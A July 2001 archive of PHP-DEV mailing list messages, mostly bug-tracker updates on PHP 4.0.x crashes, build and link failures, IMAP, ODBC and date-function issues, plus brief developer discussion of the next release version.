date:20010704


ID: 10324
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Assigned
Bug Type: Reproducible crash
Operating system: 
PHP Version: 4.0.6
Assigned To: derick
Comments:

Assigning to myself

Previous Comments:
---

[2001-07-03 22:51:56] [EMAIL PROTECTED]

Here's the link to a script that exhibits this problem 100% of the time on my 
PPC/YellowDog server as well as a production machine at phpwebhosting.com:

http://www.jump9.com/_testcrypt.txt 


I've tried this under several version of php (including the current 4.0.6) as well as 
with every available release of libmcrypt (2.4.7-2.4.15) all without effect.  Given 
that I have the same problem on a production webserver at phpwebhosting as I do on my 
own homemade PPC linux box I'm guessing this is real problem...

Any thoughts would be greatly appreciated...


kpw 




---

[2001-07-03 11:28:04] [EMAIL PROTECTED]

Here's an example:

If encrypt the string "Reed, Phyllis" with the key "70094cc48e1a23bf6fec60c2db6e4b71" 
using blowfish in CBC mode mycrypt will seg fault.  However, if I change the string to 
"Reed,Phyllis" (no space) everything's fine.  Removing a chacter from the end (""Reed, 
Phylli") doesn't fix the problem though, so it's apparently not length related.

Very strange indeed...
kpw 

---

[2001-07-03 10:48:42] [EMAIL PROTECTED]

Hi,

This still seems to be a problem in 4.0.6.  I'm pretty sure that it is caused by 
specific strings being passed into mycrypt, however, I'm not sure what string 
characteristics cause the problem.  

kpw

---

[2001-05-27 19:27:02] [EMAIL PROTECTED]

Should be fixed in CVS now. Fix will be in PHP 4.0.6.
If this happens with it too, reopen this bug report.

--Jani


---

[2001-04-14 09:54:47] [EMAIL PROTECTED]

here's the back trace (again without db symbols) of the crash when it happens after my 
script has completed execution:

Program received signal SIGSEGV, Segmentation fault.
0xfe21138 in chunk_free (ar_ptr=0xfebb380, p=0x101f03d8) at malloc.c:3111
3111malloc.c: No such file or directory.
(gdb) bt
#0  0xfe21138 in chunk_free (ar_ptr=0xfebb380, p=0x101f03d8) at malloc.c:3111
#1  0xfe20fb0 in __libc_free (mem=0xfebb380) at malloc.c:3023
#2  0xf01121c in ?? () from /etc/apache/libexec/libphp4.so
#3  0x0 in ?? ()
(gdb) 



---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.


ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=10324&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11867: configure uses /usr/bin/tr in a wrong way

2001-07-04 Thread liinu


From: [EMAIL PROTECTED]
Operating system: Solaris 8
PHP version:  3.0.17
PHP Bug Type: Installation problem
Bug description:  configure uses /usr/bin/tr in a wrong way 

in php-3 configure uses tr like this:
tr -c -d a-zA-Z0-9

In Solaris 8 this will no longer work as support for 
syntax like a-zA-Z0-9 has been dropped from /usr/bin/tr.

Above like use of /usr/bin/tr in configure will result to
miscellanious compilation failures.

A fix would be to use tr syntax like this:
tr -c -d '[a-z][A-Z][0-9]'

This sed line will change the use of tr:
sed "s/tr -c -d a\-zA\-Z0\-9/tr -c -d \'\[a\-z\]\[A\-Z\]\[0\-9\]\'/g" configure


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11866 Updated: the 'remark' is not working

2001-07-04 Thread cynic


ID: 11866
Updated by: cynic
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: Unknown/Other Function
Operating system: 
PHP Version: 4.0.5
Assigned To: 
Comments:

please RTFM. you cannot include ?> in one line comments

Previous Comments:
---

[2001-07-04 04:06:42] [EMAIL PROTECTED]

I was trying to remark the following code in my php, but the php said I got a Parse 
error.

// $xmlHeaderStr = "rn"; 


if i change this to

/*
// $xmlHeaderStr = "rn";
*/

then, the problem is solved.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11866&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11868: Improper character encoding

2001-07-04 Thread john


From: [EMAIL PROTECTED]
Operating system: Windows 2000
PHP version:  4.0.6
PHP Bug Type: Recode related
Bug description:  Improper character encoding

I am using PHP, Apache 1.3 and MSSQL 2000 server via mssql_* functions. If I SELECT 
some text types with czech characters (ie š ž etc.) these characters are 
malformed. If I INSERT and SELECT these chars directly from browser, they seem to be 
OK in browser, but not in direct DB view, so I suppose it is caused by incompatible 
character encoding between Apache, PHP and MSSQL server.


-- 
Edit Bug report at: http://bugs.php.net/?id=11868&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: Bug #9261 Updated: odbc to an oracle 'view' fails

2001-07-04 Thread Bengt Nilsson


In php-4.0.2/ext/odbc/php_odbc.h

/Bengt
- Original Message - 
From: "Bug Database" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: den 3 juli 2001 10:52
Subject: Bug #9261 Updated: odbc to an oracle 'view' fails


> ID: 9261
> Updated by: derick
> Reported By: [EMAIL PROTECTED]
> Old-Status: Feedback
> Status: Closed
> Bug Type: ODBC related
> Operating system: 
> PHP Version: 4.0.4pl1
> Assigned To: 
> Comments:
> 
> No feedback
> 
> Previous Comments:
> ---
> 
> [2001-06-08 15:54:11] [EMAIL PROTECTED]
> 
> from where did you remove the HAVE_SQL_EXTENDED_FETCH define?
> 
> ---
> 
> [2001-02-14 19:37:10] [EMAIL PROTECTED]
> 
> Hi,
> 
> I disabled "#define HAVE_SQL_EXTENDED_FETCH 1 " and that seems to do the thing.
> 
> /Bengt
> 
> ---
> 
> [2001-02-14 14:26:15] [EMAIL PROTECTED]
> 
> I've tried SQL_CUR_USE_ODBC, SQL_CUR_USE_IF_NEEDED, SQL_CUR_USE_DRIVER and 
>SQL_CUR_DEFAULT with the same result.
> 
> /Bengt
> 
> ---
> 
> [2001-02-14 10:19:50] [EMAIL PROTECTED]
> 
> You could try to pass SQL_CUR_USE_ODBC as additional
> parameter to odbc_connect() and see if this helps.
> 
> ---
> 
> [2001-02-14 09:54:19] [EMAIL PROTECTED]
> 
> Hi, 
> I' running openlink to an oracle(8.1.5) server. When I try to do a 'select' from a 
>view I get the error from PHP:
> 
> "Warning: SQL error: [OpenLink][ODBC][Driver]No key columns found for table 
>referenced by keyset driven cursor., SQL state IM909 in SQLPrepare "
> 
> (Using the same driver from Perl works fine)
> 
> 
> 
> ---
> 
> The remainder of the comments for this report are too long.
> To view the rest of the comments, please
> view the bug report online.
> 
> 
> ATTENTION! Do NOT reply to this email!
> To reply, use the web interface found at http://bugs.php.net/?id=9261&edit=2
> 
> 


--
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11869: probleme with the graphics library

2001-07-04 Thread cgadais


From: [EMAIL PROTECTED]
Operating system: Windows ME
PHP version:  4.0.6
PHP Bug Type: PHP options/info functions
Bug description:  probleme with the graphics library

Hello,

My configuration: PHP4.06/Apache/Mysql.

When I want launch this script to display a rectangle:

 

I obtain this error message:
Fatal error:  Call to undefined function:  imagecreate() in c:\program 
files\apache group\apache\htdocs\test.php3 on line 5

could you help me to find Why i meet this problem ?

thanks about your answer.

Christophe








-- 
Edit Bug report at: http://bugs.php.net/?id=11869&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11869 Updated: probleme with the graphics library


ID: 11869
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: PHP options/info functions
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Uncomment the lines in php.ini for the gd extension. However, this is not a bug, and 
please ask further questions on the php-general mailinglist.

Previous Comments:
---

[2001-07-04 05:16:57] [EMAIL PROTECTED]

Hello,

My configuration: PHP4.06/Apache/Mysql.

When I want launch this script to display a rectangle:

 

I obtain this error message:
Fatal error:  Call to undefined function:  imagecreate() in c:program 
filesapache groupapachehtdocstest.php3 on line 5

could you help me to find Why i meet this problem ?

thanks about your answer.

Christophe







---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11869&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11870: unable to load dynamic library

2001-07-04 Thread serge


From: [EMAIL PROTECTED]
Operating system: linux 2.2.17
PHP version:  4.0.6
PHP Bug Type: IMAP related
Bug description:  unable to load dynamic library

When I compile php 4.0.6 as a module (so) for apache 1.3.19
everything looks ok.

even though when I try to start apache I get the following error message:

Unable to load dynamic library '/usr/local/lib/php/extensions/imap.so' - 
/usr/local/lib/php/extensions/imap.so: undefined symbol: mxdriver in Unknown on line 0

I compiled php with : 
--with-imap=shared

I also downloaded the laters c-client and copied the files to the location as 
described in the manual.

The shared object is much smaller as the one I compiled with the previous version of 
php (4.0.5).

With kind regards,
Serge van Thillo


-- 
Edit Bug report at: http://bugs.php.net/?id=11870&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11779 Updated: mail() returns an "Unknown error ..." in line [mail(...)]

2001-07-04 Thread sven


ID: 11779
User Update by: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: Mail related
Operating system: Win 2000
PHP Version: 4.0.6
Description: mail() returns an "Unknown error ..." in line [mail(...)]

It wasn't a bug.
I placed the php.ini in winnt\system32, not in winnt.
Now it's on the right place and it works.
Sorry, best wishes for php.
Sven Runge

Previous Comments:
---

[2001-06-28 10:22:16] [EMAIL PROTECTED]

If i change the count of parameters to two, I get this Result:
--- line before mail function ---
Warning: Wrong parameter count for mail() in C:Inetpubwwwrootphprootmail.php on line 
17
--- line after mail function --- 

Best regards

Sven Runge

---

[2001-06-28 10:05:14] [EMAIL PROTECTED]

Hello!

i hope its really a bug and not a documentation problem, but I did'nt found a way to 
solve the problems in several php web sites, manuals or newsgroups :-(

My system:
Windows 2000
PHP 4.0.6 (win32 binary downloaded from php.net)
Apache 1.3.12 an IIS (Win2000-included)
   I used both! webservers  on different ports, I got exactly the same result!

I want to create a mail while using this code:
-

echo ("--- line before mail function ---");
mail ("[EMAIL PROTECTED]", "PHP mail test","test mail body");
echo ("--- line after mail function ---");

-

I got this result:
--
--- line before mail function ---
Warning: Unknown error in C:Inetpubwwwrootphprootmail.php on line 17
--- line after mail function --- 

In the php.ini I changed the SMTP entry several times. I could change it in a valid, 
an invalid mailserver or i commentet it out (;SMTP = ]), I always got the same result.
For me It seems that the php engine ignores the SMTP entry.

I didn't got help in the php newsgroups, so I think it is'nt a simple problem.
So I hope you can help me.

Best regards

Sven Runge, Germany

E-Mail: [EMAIL PROTECTED]


---


Full Bug description available at: http://bugs.php.net/?id=11779


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11779 Updated: mail() returns an "Unknown error ..." in line [mail(...)]

2001-07-04 Thread cynic


ID: 11779
Updated by: cynic
Reported By: [EMAIL PROTECTED]
Old-Status: Closed
Status: Bogus
Bug Type: Mail related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

user error -> bogus

Previous Comments:
---

[2001-07-04 05:36:53] [EMAIL PROTECTED]

It wasn't a bug.
I placed the php.ini in winntsystem32, not in winnt.
Now it's on the right place and it works.
Sorry, best wishes for php.
Sven Runge

---

[2001-06-28 10:22:16] [EMAIL PROTECTED]

If i change the count of parameters to two, I get this Result:
--- line before mail function ---
Warning: Wrong parameter count for mail() in C:Inetpubwwwrootphprootmail.php on line 
17
--- line after mail function --- 

Best regards

Sven Runge

---

[2001-06-28 10:05:14] [EMAIL PROTECTED]

Hello!

i hope its really a bug and not a documentation problem, but I did'nt found a way to 
solve the problems in several php web sites, manuals or newsgroups :-(

My system:
Windows 2000
PHP 4.0.6 (win32 binary downloaded from php.net)
Apache 1.3.12 an IIS (Win2000-included)
   I used both! webservers  on different ports, I got exactly the same result!

I want to create a mail while using this code:
-

echo ("--- line before mail function ---");
mail ("[EMAIL PROTECTED]", "PHP mail test","test mail body");
echo ("--- line after mail function ---");

-

I got this result:
--
--- line before mail function ---
Warning: Unknown error in C:Inetpubwwwrootphprootmail.php on line 17
--- line after mail function --- 

In the php.ini I changed the SMTP entry several times. I could change it in a valid, 
an invalid mailserver or i commentet it out (;SMTP = ]), I always got the same result.
For me It seems that the php engine ignores the SMTP entry.

I didn't got help in the php newsgroups, so I think it is'nt a simple problem.
So I hope you can help me.

Best regards

Sven Runge, Germany

E-Mail: [EMAIL PROTECTED]


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11779&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11871: imap_search fails to search using FROM

2001-07-04 Thread fjortiz


From: [EMAIL PROTECTED]
Operating system: Windows MT
PHP version:  4.0.5
PHP Bug Type: IMAP related
Bug description:  imap_search fails to search using FROM

Using PHP4.0.5 as CGI under Windows NT/IIS 4, and trying to connect a imap-4.7-5 
server in a Linux box, everything works fine except imap_search with a search string 
like: 

'FROM "james"'  or
"FROM \"james\"" or 

all the other search options work fine (SUBJECT, CC ...), it's from that fails






-- 
Edit Bug report at: http://bugs.php.net/?id=11871&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11872: defunct Problems with oracle

2001-07-04 Thread d . rottner


From: [EMAIL PROTECTED]
Operating system: Linux Suse 7.0
PHP version:  4.0.4pl1
PHP Bug Type: Oracle related
Bug description:  defunct Problems with oracle

The Problem was allready told and closed.
But I fell in this problem the whole time and I have
set the cobfigureswitch --enable-sigchld.

I tried with apache 1.3.14 and 1.3.20
Orcale Version is Oracle 8.1.6

Dorit



-- 
Edit Bug report at: http://bugs.php.net/?id=11872&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11871 Updated: imap_search fails to search using FROM


ID: 11871
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: IMAP related
Operating system: 
PHP Version: 4.0.5
Assigned To: 
Comments:

Can you try this with 4.0.6? There where some fixes with the IMAP extension IIRC.

Derick

Previous Comments:
---

[2001-07-04 06:15:08] [EMAIL PROTECTED]

Using PHP4.0.5 as CGI under Windows NT/IIS 4, and trying to connect a imap-4.7-5 
server in a Linux box, everything works fine except imap_search with a search string 
like: 

'FROM "james"'  or
"FROM "james"" or 

all the other search options work fine (SUBJECT, CC ...), it's from that fails





---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11871&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11873: Apache make error with module php4 and ldap

2001-07-04 Thread brethes


From: [EMAIL PROTECTED]
Operating system: Solaris 2.8
PHP version:  4.0.6
PHP Bug Type: Compile Problem
Bug description:  Apache make error with module php4 and ldap

make 

...

gcc  -DSOLARIS2=280 -I/usr/local/php-4.0.6 -I/usr/local/php-4.0.6/main 
-I/usr/local/php-4.0.6/main -I/usr/local/php-4.0.6/Zend -I/usr/local/php-4.0.6/Zend 
-I/usr/local/php-4.0.6/TSRM -I/usr/local/php-4.0.6/TSRM -I/usr/local/php-4.0.6 
-DUSE_EXPAT -I./lib/expat-lite -DNO_DL_NEEDED `./apaci`\
  -o httpd buildmark.o modules.o  modules/standard/libstandard.a  
modules/php4/libphp4.a  main/libmain.a  ./os/unix/libos.a  ap/libap.a  
lib/expat-lite/libexpat.a  -R/usr/ucblib 
-R/usr/bin/../lib/gcc-lib/sparc-sun-solaris2.8/3.0  -L/usr/ucblib 
-L/usr/bin/../lib/gcc-lib/sparc-sun-solaris2.8/3.0 -Lmodules/php4 -L../modules/php4 
-L../../modules/php4 -lmodphp4  -lpam  -ldl -lldap -lcrypt -lresolv -lresolv -lm -ldl 
-lnsl -lsocket  -lsocket -lgcc   -lsocket -lnsl
Undefined   first referenced
 symbol in file
ldap_parse_referencemodules/php4/libphp4.a(ldap.o)
ld: fatal: Symbol referencing errors. No output written to httpd
collect2: ld returned 1 exit status
*** Error code 1
make: Fatal error: Command failed for target `target_static'
Current working directory /usr/local/apache_1.3.20/src
*** Error code 1
make: Fatal error: Command failed for target `build-std'
Current working directory /usr/local/apache_1.3.20
*** Error code 1
make: Fatal error: Command failed for target `build'


-- 
Edit Bug report at: http://bugs.php.net/?id=11873&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #10181 Updated: odbc_result causes Unexpected network read error

2001-07-04 Thread f . schneider


ID: 10181
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: ODBC related
Operating system: Linux
PHP Version: 4.0.4pl1
Description: odbc_result causes Unexpected network read error

After some debugging of the ODBC module of php we have 
discoverd that the SQLExtendedFetch function of the 
OpenLink-progress driver is buggy. 

an query like:
select * from table where field='text'

will give us a valid result set, but an query like:

select * from table where field='12345'

will give us garbage: The driver does not set the 
'result->values' arrays (but it returns SUCCESS and sets 
the correct number of collumns etc.) this results in 
variables which
are pointing to some non-set, non-terminating strings ...

The reason why python and the example programm work is 
that they don't use the SQLExtendedFetch function but 
SQLFetch.

The fix for this problem is to undefine the 
HAVE_SQL_EXTENDED_FETCH definition in php_odbc.h
at the iODBC definitions (if you use iODBC with openlink)
or else at the OpenLink definitions.

Maybe the php folks can give an extra option for 
openlink-progress ? so this can be solved more accurate?

Thanks.









Previous Comments:
---

[2001-06-21 11:20:57] [EMAIL PROTECTED]

best way to debug is to build as a CGI and set a break in the function you think might 
be causing it.  then run and step through the code.  

---

[2001-06-13 09:03:53] [EMAIL PROTECTED]

Version 4.0.5 has exactly the same problem. Could this be a problem with type 
conversion? How should I debug?

---

[2001-06-10 16:11:35] [EMAIL PROTECTED]

you can look in the ext/odbc/php_odbc.c file for what might 
be causing this.  the ext/odbc/php_odbc.h may also be of 
some help.

also you might wish to try the 4.0.5 release of PHP, or 
possibly the 4.0.6RCs (4.0.5 was in RC for a LONG time).

---

[2001-06-01 17:23:40] [EMAIL PROTECTED]

Hitting the refresh button on the browser will return different results each time. The 
number of rows seems correct. It doesn't look like a problem with the drivers since 
they work fine with Python or the test programm included with the driver. Could this 
be a problem with type casting? Where should I look in the PHP source code?

---

[2001-05-02 05:08:20] [EMAIL PROTECTED]

Sorry about the incorrect library names. The details are:

the openlink odbc driver is oplodbc.so.1.0.0
the iodbc driver manager is libiodbc.so.2.0.12 as packaged with the openlink odbc sdk.

This morning I got the newest version 3.0.4 working of libiodbc. The driver is still 
the same oplodbc.so.1.0.0 and libiodbc now has version libiodbc.so.2.1.3. 
I still have the same problem!!

NB
It took me a while to figure out the odbc_connect has changed: Before I had to use:


$dsn = "DSN=qaddb";
if ($conn_id = odbc_connect("$dsn","","")) {
...

Now this has to be:

$dsn = "qaddb";
if ($conn_id = odbc_connect("$dsn","","")) {
...



---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=10181


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] php 4.1 or php 5.0

2001-07-04 Thread Phil Driscoll


When I posted the other day about tidying up the language, I was hoping to 
get some kind of feel as to whether the new Zend engine would cause us to 
move to PHP 4.1 or to 5.0, since a move to 4.1 would allow us less 
opportunity to have a clean up than 5.0. (But moving to 4.1 would give us 
more time to think things through and get things done)

Does anyone have a view?
-- 
Phil Driscoll

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11874: recognizing the 'content="text/php"' into '

2001-07-04 Thread vinicius


From: [EMAIL PROTECTED]
Operating system: win98
PHP version:  4.0.5
PHP Bug Type: Scripting Engine problem
Bug description:  recognizing the 'content="text/php"' into '
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11853 Updated: unknown option -l-l

2001-07-04 Thread php


ID: 11853
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: *Install and Config
Operating system: Suse Linux 7.0
PHP Version: 4.0.6
Description: unknown option -l-l

make-script compiled all sub-dirs and changes to php-4.0.6-dir. but nothing could be 
compiled.
(configure was started with --with-apxs --with-mysql, php4.0.5 compiled with these 
options)

output: /usr/bin/ld: cannot find -l-l

this is documented in debug.log too:

LIBS: -l -l -l -lcrypt -lresolv -lm -ldl -lnsl -lresolv

gcc -o conftest -g -O2 -DEAPI_MM -DLINUX2 -DMOD-SSL=206105 -DUSEHSREGEX -DEAPI 
-DUSE_EXPAT -DSUPPORT_UTF8 conftest.c $LIBS
and the error-message from above

I tried to delete -l -l -l in configure.vars.mk, but it did'nt help.
Perhaps you have an idea.

Thanx

Previous Comments:
---

[2001-07-03 05:55:43] [EMAIL PROTECTED]

What is your configure line?

Derick

---

[2001-07-03 05:53:58] [EMAIL PROTECTED]

make-script  compiled all sub-dirs and changes to php-4.0.6. but nothing could be 
compiled - output: /usr/bin/ld: cannot find -l-l

this is documented in debug.log too:

LIBS: -l -l -l -lcrypt -lresolv -lm -ldl -lnsl -lresolv

gcc -o conftest -g -O2 -DEAPI_MM -DLINUX2 -DMOD-SSL=206105 -DUSEHSREGEX -DEAPI 
-DUSE_EXPAT -DSUPPORT_UTF8 conftest.c $LIBS
and the error-message from above

I tried to delete -l -l -l in configure.vars.mk, but it did'nt help.
Perhaps you have an idea.
Thanx

---


Full Bug description available at: http://bugs.php.net/?id=11853


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11853 Updated: unknown option -l-l


ID: 11853
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: *Install and Config
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Again:
What is your configure line?
Like: ./configure --boo=far 

Derick

Previous Comments:
---

[2001-07-04 07:34:52] [EMAIL PROTECTED]

make-script compiled all sub-dirs and changes to php-4.0.6-dir. but nothing could be 
compiled.
(configure was started with --with-apxs --with-mysql, php4.0.5 compiled with these 
options)

output: /usr/bin/ld: cannot find -l-l

this is documented in debug.log too:

LIBS: -l -l -l -lcrypt -lresolv -lm -ldl -lnsl -lresolv

gcc -o conftest -g -O2 -DEAPI_MM -DLINUX2 -DMOD-SSL=206105 -DUSEHSREGEX -DEAPI 
-DUSE_EXPAT -DSUPPORT_UTF8 conftest.c $LIBS
and the error-message from above

I tried to delete -l -l -l in configure.vars.mk, but it did'nt help.
Perhaps you have an idea.

Thanx

---

[2001-07-03 05:55:43] [EMAIL PROTECTED]

What is your configure line?

Derick

---

[2001-07-03 05:53:58] [EMAIL PROTECTED]

make-script  compiled all sub-dirs and changes to php-4.0.6. but nothing could be 
compiled - output: /usr/bin/ld: cannot find -l-l

this is documented in debug.log too:

LIBS: -l -l -l -lcrypt -lresolv -lm -ldl -lnsl -lresolv

gcc -o conftest -g -O2 -DEAPI_MM -DLINUX2 -DMOD-SSL=206105 -DUSEHSREGEX -DEAPI 
-DUSE_EXPAT -DSUPPORT_UTF8 conftest.c $LIBS
and the error-message from above

I tried to delete -l -l -l in configure.vars.mk, but it did'nt help.
Perhaps you have an idea.
Thanx

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11853&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11875: bad retiurn in yp_first

2001-07-04 Thread Bernard . Prevosto


From: [EMAIL PROTECTED]
Operating system: Solaris 5.5.1
PHP version:  4.0.6
PHP Bug Type: YP/NIS related
Bug description:  bad retiurn in yp_first

Hello,

After upgrading PHP server version 4.0.6
, we have notice a problem in the yp_first function
(it was working fine with PHP Version  4.0.5



it returns a value in $key but nothing in $entry[$key]

Ex:

First entry is hedic and the value is  (empty string)

With the ypmatch command in unix shell, it works: 
# ypmatch hedic hosts.byname
x.y.z.w   hedic

Thanks in advance for your help.




-- 
Edit Bug report at: http://bugs.php.net/?id=11875&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] trans-sid and Location: Header

2001-07-04 Thread Björn Schotte


Hi,

I had a talk with somebody whom I said that
--enable-trans-sid would save time in his project.
He implemented it but dropped me a note that he
had to manually rewrite Header("Location: http://$HTTP_HOST/foobar.php";);
URIs with the SID. So would it be able to implement
trans-sid for the Location: HTTP Header?

-- 
PHP Schulungen und| International PHP Conference
Schulungsmaterial:| 05. - 07.11.2001
http://thinkphp.de/   |  Astron Hotel, Frankfurt
http://rent-a-phpwizard.de/schulungen.php |  http://www.php-kongress.de/

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11876: gmdate() and date() wont generate a date greater than January 19, 2039

2001-07-04 Thread ryan


From: [EMAIL PROTECTED]
Operating system: Windows ME
PHP version:  4.0.6
PHP Bug Type: Date/time related
Bug description:  gmdate() and date() wont generate a date greater than January 19, 
2039

gmdate() and date() wont generate a date greater than January 19, 2039 @ 3:14:07 AM. 
if you write gmdate("F j, Y @ g:i A", 2147483647) it gives you "January 19, 2039 @ 
3:14:07 AM", but if you add one second to it and do gmdate("F j, Y @ g:i A", 
2147483648) it gives you an error.


-- 
Edit Bug report at: http://bugs.php.net/?id=11876&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11876 Updated: gmdate() and date() wont generate a date greater than January 19, 2039


ID: 11876
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: Date/time related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

This is not a bug in PHP, but a limitated in your OS.
The time field is only 32 bits which means that dates larger then the date you want 
does not work.

Derick

Previous Comments:
---

[2001-07-04 08:38:50] [EMAIL PROTECTED]

gmdate() and date() wont generate a date greater than January 19, 2039 @ 3:14:07 AM. 
if you write gmdate("F j, Y @ g:i A", 2147483647) it gives you "January 19, 2039 @ 
3:14:07 AM", but if you add one second to it and do gmdate("F j, Y @ g:i A", 
2147483648) it gives you an error.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11876&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11877: Apache cannot load phplib4.so

2001-07-04 Thread dmmedia


From: [EMAIL PROTECTED]
Operating system: Redhat linux 6.2
PHP version:  4.0.6
PHP Bug Type: Apache related
Bug description:  Apache cannot load phplib4.so

I've compiled php4 with:
--with-apxs
--with-mysql
--disable-magic-quotes
--enable-short-tags
--with-imap
And Apache said that it cannot load phplib4.so module, because of undefined symbol: 
gss_mech_krb5.

Also I tried to add
--without-kerberos
--without-imap-ssl
But file size was the same and Apache said the same error.


-- 
Edit Bug report at: http://bugs.php.net/?id=11877&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
